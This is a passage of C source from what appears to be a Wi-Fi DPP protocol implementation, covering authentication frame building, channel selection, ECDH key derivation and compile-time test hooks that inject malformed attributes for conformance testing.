skip_r_capab; } #endif /* CONFIG_TESTING_OPTIONS */ /* R-capabilities */ WPA_PUT_LE16(pos, DPP_ATTR_R_CAPABILITIES); pos += 2; WPA_PUT_LE16(pos, 1); pos += 2; auth->r_capab = auth->configurator ? DPP_CAPAB_CONFIGURATOR : DPP_CAPAB_ENROLLEE; *pos++ = auth->r_capab; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_ZERO_R_CAPAB) { wpa_printf(MSG_INFO, "DPP: TESTING - zero R-capabilities"); pos[-1] = 0; } else if (dpp_test == DPP_TEST_INCOMPATIBLE_R_CAPAB_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - incompatible R-capabilities"); if ((auth->i_capab & DPP_CAPAB_ROLE_MASK) == (DPP_CAPAB_CONFIGURATOR | DPP_CAPAB_ENROLLEE)) pos[-1] = 0; else pos[-1] = auth->configurator ? DPP_CAPAB_ENROLLEE : DPP_CAPAB_CONFIGURATOR; } skip_r_capab: #endif /* CONFIG_TESTING_OPTIONS */ if (wrapped_r_auth) { /* {R-auth}ke */ WPA_PUT_LE16(pos, DPP_ATTR_WRAPPED_DATA); pos += 2; WPA_PUT_LE16(pos, wrapped_r_auth_len); pos += 2; os_memcpy(pos, wrapped_r_auth, wrapped_r_auth_len); pos += wrapped_r_auth_len; } /* OUI, OUI type, Crypto Suite, DPP frame type */ addr[0] = wpabuf_head_u8(msg) + 2; len[0] = 3 + 1 + 1 + 1; wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[0]", addr[0], len[0]); /* Attributes before Wrapped Data */ addr[1] = attr_start; len[1] = attr_end - attr_start; wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[1]", addr[1], len[1]); siv_len = pos - clear; wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV cleartext", clear, siv_len); if (aes_siv_encrypt(siv_key, auth->curve->hash_len, clear, siv_len, 2, addr, len, wrapped_data) < 0) { wpabuf_free(msg); return NULL; } siv_len += AES_BLOCK_SIZE; wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV ciphertext", wrapped_data, siv_len); wpabuf_put_le16(msg, DPP_ATTR_WRAPPED_DATA); wpabuf_put_le16(msg, siv_len); wpabuf_put_data(msg, wrapped_data, siv_len); #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_AFTER_WRAPPED_DATA_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - attr after Wrapped Data"); dpp_build_attr_status(msg, DPP_STATUS_OK); } skip_wrapped_data: #endif /* CONFIG_TESTING_OPTIONS */ wpa_hexdump_buf(MSG_DEBUG, "DPP: Authentication Response frame attributes", msg); return msg; } static int dpp_channel_ok_init(struct hostapd_hw_modes *own_modes, u16 num_modes, unsigned int freq) { u16 m; int c, flag; if (!own_modes || !num_modes) return 1; for (m = 0; m < num_modes; m++) { for (c = 0; c < own_modes[m].num_channels; c++) { if ((unsigned int) own_modes[m].channels[c].freq != freq) continue; flag = own_modes[m].channels[c].flag; if (!(flag & (HOSTAPD_CHAN_DISABLED | HOSTAPD_CHAN_NO_IR | HOSTAPD_CHAN_RADAR))) return 1; } } wpa_printf(MSG_DEBUG, "DPP: Peer channel %u MHz not supported", freq); return 0; } static int freq_included(const unsigned int freqs[], unsigned int num, unsigned int freq) { while (num > 0) { if (freqs[--num] == freq) return 1; } return 0; } static void freq_to_start(unsigned int freqs[], unsigned int num, unsigned int freq) { unsigned int i; for (i = 0; i < num; i++) { if (freqs[i] == freq) break; } if (i == 0 || i >= num) return; os_memmove(&freqs[1], &freqs[0], i * sizeof(freqs[0])); freqs[0] = freq; } static int dpp_channel_intersect(struct dpp_authentication *auth, struct hostapd_hw_modes *own_modes, u16 num_modes) { struct dpp_bootstrap_info *peer_bi = auth->peer_bi; unsigned int i, freq; for (i = 0; i < peer_bi->num_freq; i++) { freq = peer_bi->freq[i]; if (freq_included(auth->freq, auth->num_freq, freq)) continue; if (dpp_channel_ok_init(own_modes, num_modes, freq)) auth->freq[auth->num_freq++] = freq; } if (!auth->num_freq) { wpa_printf(MSG_INFO, "DPP: No available channels for initiating DPP Authentication"); return -1; } auth->curr_freq = auth->freq[0]; return 0; } static int dpp_channel_local_list(struct dpp_authentication *auth, struct hostapd_hw_modes *own_modes, u16 num_modes) { u16 m; int c, flag; unsigned int freq; auth->num_freq = 0; if (!own_modes || !num_modes) { auth->freq[0] = 2412; auth->freq[1] = 2437; auth->freq[2] = 2462; auth->num_freq = 3; return 0; } for (m = 0; m < num_modes; m++) { for (c = 0; c < own_modes[m].num_channels; c++) { freq = own_modes[m].channels[c].freq; flag = own_modes[m].channels[c].flag; if (flag & (HOSTAPD_CHAN_DISABLED | HOSTAPD_CHAN_NO_IR | HOSTAPD_CHAN_RADAR)) continue; if (freq_included(auth->freq, auth->num_freq, freq)) continue; auth->freq[auth->num_freq++] = freq; if (auth->num_freq == DPP_BOOTSTRAP_MAX_FREQ) { m = num_modes; break; } } } return auth->num_freq == 0 ? -1 : 0; } static int dpp_prepare_channel_list(struct dpp_authentication *auth, struct hostapd_hw_modes *own_modes, u16 num_modes) { int res; char freqs[DPP_BOOTSTRAP_MAX_FREQ * 6 + 10], *pos, *end; unsigned int i; if (auth->peer_bi->num_freq > 0) res = dpp_channel_intersect(auth, own_modes, num_modes); else res = dpp_channel_local_list(auth, own_modes, num_modes); if (res < 0) return res; /* Prioritize 2.4 GHz channels 6, 1, 11 (in this order) to hit the most * likely channels first. */ freq_to_start(auth->freq, auth->num_freq, 2462); freq_to_start(auth->freq, auth->num_freq, 2412); freq_to_start(auth->freq, auth->num_freq, 2437); auth->freq_idx = 0; auth->curr_freq = auth->freq[0]; pos = freqs; end = pos + sizeof(freqs); for (i = 0; i < auth->num_freq; i++) { res = os_snprintf(pos, end - pos, " %u", auth->freq[i]); if (os_snprintf_error(end - pos, res)) break; pos += res; } *pos = '\0'; wpa_printf(MSG_DEBUG, "DPP: Possible frequencies for initiating:%s", freqs); return 0; } static int dpp_autogen_bootstrap_key(struct dpp_authentication *auth) { struct dpp_bootstrap_info *bi; char *pk = NULL; size_t len; if (auth->own_bi) return 0; /* already generated */ bi = os_zalloc(sizeof(*bi)); if (!bi) return -1; bi->type = DPP_BOOTSTRAP_QR_CODE; pk = dpp_keygen(bi, auth->peer_bi->curve->name, NULL, 0); if (!pk) goto fail; len = 4; /* "DPP:" */ len += 4 + os_strlen(pk); bi->uri = os_malloc(len + 1); if (!bi->uri) goto fail; os_snprintf(bi->uri, len + 1, "DPP:K:%s;;", pk); wpa_printf(MSG_DEBUG, "DPP: Auto-generated own bootstrapping key info: URI %s", bi->uri); auth->tmp_own_bi = auth->own_bi = bi; os_free(pk); return 0; fail: os_free(pk); dpp_bootstrap_info_free(bi); return -1; } struct dpp_authentication * dpp_auth_init(void *msg_ctx, struct dpp_bootstrap_info *peer_bi, struct dpp_bootstrap_info *own_bi, u8 dpp_allowed_roles, unsigned int neg_freq, struct hostapd_hw_modes *own_modes, u16 num_modes) { struct dpp_authentication *auth; size_t nonce_len; EVP_PKEY_CTX *ctx = NULL; size_t secret_len; struct wpabuf *pi = NULL; const u8 *r_pubkey_hash, *i_pubkey_hash; #ifdef CONFIG_TESTING_OPTIONS u8 test_hash[SHA256_MAC_LEN]; #endif /* CONFIG_TESTING_OPTIONS */ auth = os_zalloc(sizeof(*auth)); if (!auth) return NULL; auth->msg_ctx = msg_ctx; auth->initiator = 1; auth->waiting_auth_resp = 1; auth->allowed_roles = dpp_allowed_roles; auth->configurator = !!(dpp_allowed_roles & DPP_CAPAB_CONFIGURATOR); auth->peer_bi = peer_bi; auth->own_bi = own_bi; auth->curve = peer_bi->curve; if (dpp_autogen_bootstrap_key(auth) < 0 || dpp_prepare_channel_list(auth, own_modes, num_modes) < 0) goto fail; #ifdef CONFIG_TESTING_OPTIONS if (dpp_nonce_override_len > 0) { wpa_printf(MSG_INFO, "DPP: TESTING - override I-nonce"); nonce_len = dpp_nonce_override_len; os_memcpy(auth->i_nonce, dpp_nonce_override, nonce_len); } else { nonce_len = auth->curve->nonce_len; if (random_get_bytes(auth->i_nonce, nonce_len)) { wpa_printf(MSG_ERROR, "DPP: Failed to generate I-nonce"); goto fail; } } #else /* CONFIG_TESTING_OPTIONS */ nonce_len = auth->curve->nonce_len; if (random_get_bytes(auth->i_nonce, nonce_len)) { wpa_printf(MSG_ERROR, "DPP: Failed to generate I-nonce"); goto fail; } #endif /* CONFIG_TESTING_OPTIONS */ wpa_hexdump(MSG_DEBUG, "DPP: I-nonce", auth->i_nonce, nonce_len); #ifdef CONFIG_TESTING_OPTIONS if (dpp_protocol_key_override_len) { const struct dpp_curve_params *tmp_curve; wpa_printf(MSG_INFO, "DPP: TESTING - override protocol key"); auth->own_protocol_key = dpp_set_keypair( &tmp_curve, dpp_protocol_key_override, dpp_protocol_key_override_len); } else { auth->own_protocol_key = dpp_gen_keypair(auth->curve); } #else /* CONFIG_TESTING_OPTIONS */ auth->own_protocol_key = dpp_gen_keypair(auth->curve); #endif /* CONFIG_TESTING_OPTIONS */ if (!auth->own_protocol_key) goto fail; pi = dpp_get_pubkey_point(auth->own_protocol_key, 0); if (!pi) goto fail; /* ECDH: M = pI * BR */ ctx = EVP_PKEY_CTX_new(auth->own_protocol_key, NULL); if (!ctx || EVP_PKEY_derive_init(ctx) != 1 || EVP_PKEY_derive_set_peer(ctx, auth->peer_bi->pubkey) != 1 || EVP_PKEY_derive(ctx, NULL, &secret_len) != 1 || secret_len > DPP_MAX_SHARED_SECRET_LEN || EVP_PKEY_derive(ctx, auth->Mx, &secret_len) != 1) { wpa_printf(MSG_ERROR, "DPP: Failed to derive ECDH shared secret: %s", ERR_error_string(ERR_get_error(), NULL)); goto fail; } auth->secret_len = secret_len; EVP_PKEY_CTX_free(ctx); ctx = NULL; wpa_hexdump_key(MSG_DEBUG, "DPP: ECDH shared secret (M.x)", auth->Mx, auth->secret_len); auth->Mx_len = auth->secret_len; if (dpp_derive_k1(auth->Mx, auth->secret_len, auth->k1, auth->curve->hash_len) < 0) goto fail; r_pubkey_hash = auth->peer_bi->pubkey_hash; i_pubkey_hash = auth->own_bi->pubkey_hash; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_R_BOOTSTRAP_KEY_HASH_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - no R-Bootstrap Key Hash"); r_pubkey_hash = NULL; } else if (dpp_test == DPP_TEST_INVALID_R_BOOTSTRAP_KEY_HASH_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid R-Bootstrap Key Hash"); os_memcpy(test_hash, r_pubkey_hash, SHA256_MAC_LEN); test_hash[SHA256_MAC_LEN - 1] ^= 0x01; r_pubkey_hash = test_hash; } else if (dpp_test == DPP_TEST_NO_I_BOOTSTRAP_KEY_HASH_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - no I-Bootstrap Key Hash"); i_pubkey_hash = NULL; } else if (dpp_test == DPP_TEST_INVALID_I_BOOTSTRAP_KEY_HASH_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid I-Bootstrap Key Hash"); os_memcpy(test_hash, i_pubkey_hash, SHA256_MAC_LEN); test_hash[SHA256_MAC_LEN - 1] ^= 0x01; i_pubkey_hash = test_hash; } else if (dpp_test == DPP_TEST_NO_I_PROTO_KEY_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - no I-Proto Key"); wpabuf_free(pi); pi = NULL; } else if (dpp_test == DPP_TEST_INVALID_I_PROTO_KEY_AUTH_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid I-Proto Key"); wpabuf_free(pi); pi = wpabuf_alloc(2 * auth->curve->prime_len); if (!pi || dpp_test_gen_invalid_key(pi, auth->curve) < 0) goto fail; } #endif /* CONFIG_TESTING_OPTIONS */ auth->req_msg = dpp_auth_build_req(auth, pi, nonce_len, r_pubkey_hash, i_pubkey_hash, neg_freq); if (!auth->req_msg) goto fail; out: wpabuf_free(pi); EVP_PKEY_CTX_free(ctx); return auth; fail: dpp_auth_deinit(auth); auth = NULL; goto out; } struct wpabuf * dpp_build_conf_req(struct dpp_authentication *auth, const char *json) { size_t nonce_len; size_t json_len, clear_len; struct wpabuf *clear = NULL, *msg = NULL; u8 *wrapped; size_t attr_len; wpa_printf(MSG_DEBUG, "DPP: Build configuration request"); nonce_len = auth->curve->nonce_len; if (random_get_bytes(auth->e_nonce, nonce_len)) { wpa_printf(MSG_ERROR, "DPP: Failed to generate E-nonce"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: E-nonce", auth->e_nonce, nonce_len); json_len = os_strlen(json); wpa_hexdump_ascii(MSG_DEBUG, "DPP: configAttr JSON", json, json_len); /* { E-nonce, configAttrib }ke */ clear_len = 4 + nonce_len + 4 + json_len; clear = wpabuf_alloc(clear_len); attr_len = 4 + clear_len + AES_BLOCK_SIZE; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_AFTER_WRAPPED_DATA_CONF_REQ) attr_len += 5; #endif /* CONFIG_TESTING_OPTIONS */ msg = wpabuf_alloc(attr_len); if (!clear || !msg) goto fail; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_E_NONCE_CONF_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - no E-nonce"); goto skip_e_nonce; } if (dpp_test == DPP_TEST_INVALID_E_NONCE_CONF_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid E-nonce"); wpabuf_put_le16(clear, DPP_ATTR_ENROLLEE_NONCE); wpabuf_put_le16(clear, nonce_len - 1); wpabuf_put_data(clear, auth->e_nonce, nonce_len - 1); goto skip_e_nonce; } if (dpp_test == DPP_TEST_NO_WRAPPED_DATA_CONF_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - no Wrapped Data"); goto skip_wrapped_data; } #endif /* CONFIG_TESTING_OPTIONS */ /* E-nonce */ wpabuf_put_le16(clear, DPP_ATTR_ENROLLEE_NONCE); wpabuf_put_le16(clear, nonce_len); wpabuf_put_data(clear, auth->e_nonce, nonce_len); #ifdef CONFIG_TESTING_OPTIONS skip_e_nonce: if (dpp_test == DPP_TEST_NO_CONFIG_ATTR_OBJ_CONF_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - no configAttrib"); goto skip_conf_attr_obj; } #endif /* CONFIG_TESTING_OPTIONS */ /* configAttrib */ wpabuf_put_le16(clear, DPP_ATTR_CONFIG_ATTR_OBJ); wpabuf_put_le16(clear, json_len); wpabuf_put_data(clear, json, json_len); #ifdef CONFIG_TESTING_OPTIONS skip_conf_attr_obj: #endif /* CONFIG_TESTING_OPTIONS */ wpabuf_put_le16(msg, DPP_ATTR_WRAPPED_DATA); wpabuf_put_le16(msg, wpabuf_len(clear) + AES_BLOCK_SIZE); wrapped = wpabuf_put(msg, wpabuf_len(clear) + AES_BLOCK_SIZE); /* No AES-SIV AD */ wpa_hexdump_buf(MSG_DEBUG, "DPP: AES-SIV cleartext", clear); if (aes_siv_encrypt(auth->ke, auth->curve->hash_len, wpabuf_head(clear), wpabuf_len(clear), 0, NULL, NULL, wrapped) < 0) goto fail; wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV ciphertext", wrapped, wpabuf_len(clear) + AES_BLOCK_SIZE); #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_AFTER_WRAPPED_DATA_CONF_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - attr after Wrapped Data"); dpp_build_attr_status(msg, DPP_STATUS_OK); } skip_wrapped_data: #endif /* CONFIG_TESTING_OPTIONS */ wpa_hexdump_buf(MSG_DEBUG, "DPP: Configuration Request frame attributes", msg); wpabuf_free(clear); return msg; fail: wpabuf_free(clear); wpabuf_free(msg); return NULL; } static void dpp_auth_success(struct dpp_authentication *auth) { wpa_printf(MSG_DEBUG, "DPP: Authentication success - clear temporary keys"); os_memset(auth->Mx, 0, sizeof(auth->Mx)); auth->Mx_len = 0; os_memset(auth->Nx, 0, sizeof(auth->Nx)); auth->Nx_len = 0; os_memset(auth->Lx, 0, sizeof(auth->Lx)); auth->Lx_len = 0; os_memset(auth->k1, 0, sizeof(auth->k1)); os_memset(auth->k2, 0, sizeof(auth->k2)); auth->auth_success = 1; } static int dpp_gen_r_auth(struct dpp_authentication *auth, u8 *r_auth) { struct wpabuf *pix, *prx, *bix, *brx; const u8 *addr[7]; size_t len[7]; size_t i, num_elem = 0; size_t nonce_len; u8 zero = 0; int res = -1; /* R-auth = H(I-nonce | R-nonce | PI.x | PR.x | [BI.x |] BR.x | 0) */ nonce_len = auth->curve->nonce_len; if (auth->initiator) { pix = dpp_get_pubkey_point(auth->own_protocol_key, 0); prx = dpp_get_pubkey_point(auth->peer_protocol_key, 0); if (auth->own_bi) bix = dpp_get_pubkey_point(auth->own_bi->pubkey, 0); else bix = NULL; brx = dpp_get_pubkey_point(auth->peer_bi->pubkey, 0); } else { pix = dpp_get_pubkey_point(auth->peer_protocol_key, 0); prx = dpp_get_pubkey_point(auth->own_protocol_key, 0); if (auth->peer_bi) bix = dpp_get_pubkey_point(auth->peer_bi->pubkey, 0); else bix = NULL; brx = dpp_get_pubkey_point(auth->own_bi->pubkey, 0); } if (!pix || !prx || !brx) goto fail; addr[num_elem] = auth->i_nonce; len[num_elem] = nonce_len; num_elem++; addr[num_elem] = auth->r_nonce; len[num_elem] = nonce_len; num_elem++; addr[num_elem] = wpabuf_head(pix); len[num_elem] = wpabuf_len(pix) / 2; num_elem++; addr[num_elem] = wpabuf_head(prx); len[num_elem] = wpabuf_len(prx) / 2; num_elem++; if (bix) { addr[num_elem] = wpabuf_head(bix); len[num_elem] = wpabuf_len(bix) / 2; num_elem++; } addr[num_elem] = wpabuf_head(brx); len[num_elem] = wpabuf_len(brx) / 2; num_elem++; addr[num_elem] = &zero; len[num_elem] = 1; num_elem++; wpa_printf(MSG_DEBUG, "DPP: R-auth hash components"); for (i = 0; i < num_elem; i++) wpa_hexdump(MSG_DEBUG, "DPP: hash component", addr[i], len[i]); res = dpp_hash_vector(auth->curve, num_elem, addr, len, r_auth); if (res == 0) wpa_hexdump(MSG_DEBUG, "DPP: R-auth", r_auth, auth->curve->hash_len); fail: wpabuf_free(pix); wpabuf_free(prx); wpabuf_free(bix); wpabuf_free(brx); return res; } static int dpp_gen_i_auth(struct dpp_authentication *auth, u8 *i_auth) { struct wpabuf *pix = NULL, *prx = NULL, *bix = NULL, *brx = NULL; const u8 *addr[7]; size_t len[7]; size_t i, num_elem = 0; size_t nonce_len; u8 one = 1; int res = -1; /* I-auth = H(R-nonce | I-nonce | PR.x | PI.x | BR.x | [BI.x |] 1) */ nonce_len = auth->curve->nonce_len; if (auth->initiator) { pix = dpp_get_pubkey_point(auth->own_protocol_key, 0); prx = dpp_get_pubkey_point(auth->peer_protocol_key, 0); if (auth->own_bi) bix = dpp_get_pubkey_point(auth->own_bi->pubkey, 0); else bix = NULL; if (!auth->peer_bi) goto fail; brx = dpp_get_pubkey_point(auth->peer_bi->pubkey, 0); } else { pix = dpp_get_pubkey_point(auth->peer_protocol_key, 0); prx = dpp_get_pubkey_point(auth->own_protocol_key, 0); if (auth->peer_bi) bix = dpp_get_pubkey_point(auth->peer_bi->pubkey, 0); else bix = NULL; if (!auth->own_bi) goto fail; brx = dpp_get_pubkey_point(auth->own_bi->pubkey, 0); } if (!pix || !prx || !brx) goto fail; addr[num_elem] = auth->r_nonce; len[num_elem] = nonce_len; num_elem++; addr[num_elem] = auth->i_nonce; len[num_elem] = nonce_len; num_elem++; addr[num_elem] = wpabuf_head(prx); len[num_elem] = wpabuf_len(prx) / 2; num_elem++; addr[num_elem] = wpabuf_head(pix); len[num_elem] = wpabuf_len(pix) / 2; num_elem++; addr[num_elem] = wpabuf_head(brx); len[num_elem] = wpabuf_len(brx) / 2; num_elem++; if (bix) { addr[num_elem] = wpabuf_head(bix); len[num_elem] = wpabuf_len(bix) / 2; num_elem++; } addr[num_elem] = &one; len[num_elem] = 1; num_elem++; wpa_printf(MSG_DEBUG, "DPP: I-auth hash components"); for (i = 0; i < num_elem; i++) wpa_hexdump(MSG_DEBUG, "DPP: hash component", addr[i], len[i]); res = dpp_hash_vector(auth->curve, num_elem, addr, len, i_auth); if (res == 0) wpa_hexdump(MSG_DEBUG, "DPP: I-auth", i_auth, auth->curve->hash_len); fail: wpabuf_free(pix); wpabuf_free(prx); wpabuf_free(bix); wpabuf_free(brx); return res; } static int dpp_auth_derive_l_responder(struct dpp_authentication *auth) { const EC_GROUP *group; EC_POINT *l = NULL; EC_KEY *BI = NULL, *bR = NULL, *pR = NULL; const EC_POINT *BI_point; BN_CTX *bnctx; BIGNUM *lx, *sum, *q; const BIGNUM *bR_bn, *pR_bn; int ret = -1; /* L = ((bR + pR) modulo q) * BI */ bnctx = BN_CTX_new(); sum = BN_new(); q = BN_new(); lx = BN_new(); if (!bnctx || !sum || !q || !lx) goto fail; BI = EVP_PKEY_get1_EC_KEY(auth->peer_bi->pubkey); if (!BI) goto fail; BI_point = EC_KEY_get0_public_key(BI); group = EC_KEY_get0_group(BI); if (!group) goto fail; bR = EVP_PKEY_get1_EC_KEY(auth->own_bi->pubkey); pR = EVP_PKEY_get1_EC_KEY(auth->own_protocol_key); if (!bR || !pR) goto fail; bR_bn = EC_KEY_get0_private_key(bR); pR_bn = EC_KEY_get0_private_key(pR); if (!bR_bn || !pR_bn) goto fail; if (EC_GROUP_get_order(group, q, bnctx) != 1 || BN_mod_add(sum, bR_bn, pR_bn, q, bnctx) != 1) goto fail; l = EC_POINT_new(group); if (!l || EC_POINT_mul(group, l, NULL, BI_point, sum, bnctx) != 1 || EC_POINT_get_affine_coordinates_GFp(group, l, lx, NULL, bnctx) != 1) { wpa_printf(MSG_ERROR, "OpenSSL: failed: %s", ERR_error_string(ERR_get_error(), NULL)); goto fail; } if (dpp_bn2bin_pad(lx, auth->Lx, auth->secret_len) < 0) goto fail; wpa_hexdump_key(MSG_DEBUG, "DPP: L.x", auth->Lx, auth->secret_len); auth->Lx_len = auth->secret_len; ret = 0; fail: EC_POINT_clear_free(l); EC_KEY_free(BI); EC_KEY_free(bR); EC_KEY_free(pR); BN_clear_free(lx); BN_clear_free(sum); BN_free(q); BN_CTX_free(bnctx); return ret; } static int dpp_auth_derive_l_initiator(struct dpp_authentication *auth) { const EC_GROUP *group; EC_POINT *l = NULL, *sum = NULL; EC_KEY *bI = NULL, *BR = NULL, *PR = NULL; const EC_POINT *BR_point, *PR_point; BN_CTX *bnctx; BIGNUM *lx; const BIGNUM *bI_bn; int ret = -1; /* L = bI * (BR + PR) */ bnctx = BN_CTX_new(); lx = BN_new(); if (!bnctx || !lx) goto fail; BR = EVP_PKEY_get1_EC_KEY(auth->peer_bi->pubkey); PR = EVP_PKEY_get1_EC_KEY(auth->peer_protocol_key); if (!BR || !PR) goto fail; BR_point = EC_KEY_get0_public_key(BR); PR_point = EC_KEY_get0_public_key(PR); bI = EVP_PKEY_get1_EC_KEY(auth->own_bi->pubkey); if (!bI) goto fail; group = EC_KEY_get0_group(bI); bI_bn = EC_KEY_get0_private_key(bI); if (!group || !bI_bn) goto fail; sum = EC_POINT_new(group); l = EC_POINT_new(group); if (!sum || !l || EC_POINT_add(group, sum, BR_point, PR_point, bnctx) != 1 || EC_POINT_mul(group, l, NULL, sum, bI_bn, bnctx) != 1 || EC_POINT_get_affine_coordinates_GFp(group, l, lx, NULL, bnctx) != 1) { wpa_printf(MSG_ERROR, "OpenSSL: failed: %s", ERR_error_string(ERR_get_error(), NULL)); goto fail; } if (dpp_bn2bin_pad(lx, auth->Lx, auth->secret_len) < 0) goto fail; wpa_hexdump_key(MSG_DEBUG, "DPP: L.x", auth->Lx, auth->secret_len); auth->Lx_len = auth->secret_len; ret = 0; fail: EC_POINT_clear_free(l); EC_KEY_free(bI); EC_KEY_free(BR); EC_KEY_free(PR); BN_clear_free(lx); BN_CTX_free(bnctx); return ret; } static int dpp_auth_build_resp_ok(struct dpp_authentication *auth) { size_t nonce_len; EVP_PKEY_CTX *ctx = NULL; size_t secret_len; struct wpabuf *msg, *pr = NULL; u8 r_auth[4 + DPP_MAX_HASH_LEN]; u8 wrapped_r_auth[4 + DPP_MAX_HASH_LEN + AES_BLOCK_SIZE], *w_r_auth; size_t wrapped_r_auth_len; int ret = -1; const u8 *r_pubkey_hash, *i_pubkey_hash, *r_nonce, *i_nonce; enum dpp_status_error status = DPP_STATUS_OK; #ifdef CONFIG_TESTING_OPTIONS u8 test_hash[SHA256_MAC_LEN]; #endif /* CONFIG_TESTING_OPTIONS */ wpa_printf(MSG_DEBUG, "DPP: Build Authentication Response"); if (!auth->own_bi) return -1; #ifdef CONFIG_TESTING_OPTIONS if (dpp_nonce_override_len > 0) { wpa_printf(MSG_INFO, "DPP: TESTING - override R-nonce"); nonce_len = dpp_nonce_override_len; os_memcpy(auth->r_nonce, dpp_nonce_override, nonce_len); } else { nonce_len = auth->curve->nonce_len; if (random_get_bytes(auth->r_nonce, nonce_len)) { wpa_printf(MSG_ERROR, "DPP: Failed to generate R-nonce"); goto fail; } } #else /* CONFIG_TESTING_OPTIONS */ nonce_len = auth->curve->nonce_len; if (random_get_bytes(auth->r_nonce, nonce_len)) { wpa_printf(MSG_ERROR, "DPP: Failed to generate R-nonce"); goto fail; } #endif /* CONFIG_TESTING_OPTIONS */ wpa_hexdump(MSG_DEBUG, "DPP: R-nonce", auth->r_nonce, nonce_len); #ifdef CONFIG_TESTING_OPTIONS if (dpp_protocol_key_override_len) { const struct dpp_curve_params *tmp_curve; wpa_printf(MSG_INFO, "DPP: TESTING - override protocol key"); auth->own_protocol_key = dpp_set_keypair( &tmp_curve, dpp_protocol_key_override, dpp_protocol_key_override_len); } else { auth->own_protocol_key = dpp_gen_keypair(auth->curve); } #else /* CONFIG_TESTING_OPTIONS */ auth->own_protocol_key = dpp_gen_keypair(auth->curve); #endif /* CONFIG_TESTING_OPTIONS */ if (!auth->own_protocol_key) goto fail; pr = dpp_get_pubkey_point(auth->own_protocol_key, 0); if (!pr) goto fail; /* ECDH: N = pR * PI */ ctx = EVP_PKEY_CTX_new(auth->own_protocol_key, NULL); if (!ctx || EVP_PKEY_derive_init(ctx) != 1 || EVP_PKEY_derive_set_peer(ctx, auth->peer_protocol_key) != 1 || EVP_PKEY_derive(ctx, NULL, &secret_len) != 1 || secret_len > DPP_MAX_SHARED_SECRET_LEN || EVP_PKEY_derive(ctx, auth->Nx, &secret_len) != 1) { wpa_printf(MSG_ERROR, "DPP: Failed to derive ECDH shared secret: %s", ERR_error_string(ERR_get_error(), NULL)); goto fail; } EVP_PKEY_CTX_free(ctx); ctx = NULL; wpa_hexdump_key(MSG_DEBUG, "DPP: ECDH shared secret (N.x)", auth->Nx, auth->secret_len); auth->Nx_len = auth->secret_len; if (dpp_derive_k2(auth->Nx, auth->secret_len, auth->k2, auth->curve->hash_len) < 0) goto fail; if (auth->own_bi && auth->peer_bi) { /* Mutual authentication */ if (dpp_auth_derive_l_responder(auth) < 0) goto fail; } if (dpp_derive_ke(auth, auth->ke, auth->curve->hash_len) < 0) goto fail; /* R-auth = H(I-nonce | R-nonce | PI.x | PR.x | [BI.x |] BR.x | 0) */ WPA_PUT_LE16(r_auth, DPP_ATTR_R_AUTH_TAG); WPA_PUT_LE16(&r_auth[2], auth->curve->hash_len); if (dpp_gen_r_auth(auth, r_auth + 4) < 0) goto fail; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_R_AUTH_MISMATCH_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - R-auth mismatch"); r_auth[4 + auth->curve->hash_len / 2] ^= 0x01; } #endif /* CONFIG_TESTING_OPTIONS */ if (aes_siv_encrypt(auth->ke, auth->curve->hash_len, r_auth, 4 + auth->curve->hash_len, 0, NULL, NULL, wrapped_r_auth) < 0) goto fail; wrapped_r_auth_len = 4 + auth->curve->hash_len + AES_BLOCK_SIZE; wpa_hexdump(MSG_DEBUG, "DPP: {R-auth}ke", wrapped_r_auth, wrapped_r_auth_len); w_r_auth = wrapped_r_auth; r_pubkey_hash = auth->own_bi->pubkey_hash; if (auth->peer_bi) i_pubkey_hash = auth->peer_bi->pubkey_hash; else i_pubkey_hash = NULL; i_nonce = auth->i_nonce; r_nonce = auth->r_nonce; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_R_BOOTSTRAP_KEY_HASH_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no R-Bootstrap Key Hash"); r_pubkey_hash = NULL; } else if (dpp_test == DPP_TEST_INVALID_R_BOOTSTRAP_KEY_HASH_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid R-Bootstrap Key Hash"); os_memcpy(test_hash, r_pubkey_hash, SHA256_MAC_LEN); test_hash[SHA256_MAC_LEN - 1] ^= 0x01; r_pubkey_hash = test_hash; } else if (dpp_test == DPP_TEST_NO_I_BOOTSTRAP_KEY_HASH_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no I-Bootstrap Key Hash"); i_pubkey_hash = NULL; } else if (dpp_test == DPP_TEST_INVALID_I_BOOTSTRAP_KEY_HASH_AUTH_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid I-Bootstrap Key Hash"); if (i_pubkey_hash) os_memcpy(test_hash, i_pubkey_hash, SHA256_MAC_LEN); else os_memset(test_hash, 0, SHA256_MAC_LEN); test_hash[SHA256_MAC_LEN - 1] ^= 0x01; i_pubkey_hash = test_hash; } else if (dpp_test == DPP_TEST_NO_R_PROTO_KEY_AUTH_RESP) { 